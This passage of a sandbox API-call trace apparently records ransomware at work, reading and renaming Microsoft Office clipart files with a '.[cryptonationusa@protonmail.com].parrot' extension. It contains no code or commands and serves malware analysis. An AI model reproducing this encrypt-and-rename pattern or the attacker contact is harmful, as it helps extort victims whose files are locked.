lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.877] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.877] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x276a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x276a, lpOverlapped=0x0) returned 1 [0153.878] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.882] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.882] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.884] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.884] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x228c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x228c, lpOverlapped=0x0) returned 1 [0153.885] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.889] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.889] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.890] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.891] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9fc, lpOverlapped=0x0) returned 1 [0153.891] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.895] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.895] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.897] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.897] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x25bc, lpOverlapped=0x0) returned 1 [0153.898] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.902] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.902] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.903] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.903] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1234, lpOverlapped=0x0) returned 1 [0153.904] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0154.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.120] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.126] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x235c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x235c, lpOverlapped=0x0) returned 1 [0154.127] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0154.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.133] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.134] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.134] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2142, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2142, lpOverlapped=0x0) returned 1 [0154.135] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0154.140] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.140] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.142] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.142] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6cc0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6cc0, lpOverlapped=0x0) returned 1 [0154.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0154.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.151] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.213] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c4a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c4a, lpOverlapped=0x0) returned 1 [0154.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0154.224] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.224] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.226] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.226] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8e0, lpOverlapped=0x0) returned 1 [0154.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.231] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.233] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.233] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2054, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2054, lpOverlapped=0x0) returned 1 [0154.235] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0154.249] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.249] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.250] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.250] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1800, lpOverlapped=0x0) returned 1 [0154.257] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0154.262] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.262] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.263] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.263] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x342e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x342e, lpOverlapped=0x0) returned 1 [0154.264] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0154.328] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.328] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.329] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.329] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1361, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1361, lpOverlapped=0x0) returned 1 [0154.338] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0154.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.344] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.345] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.345] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e4, lpOverlapped=0x0) returned 1 [0154.346] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program 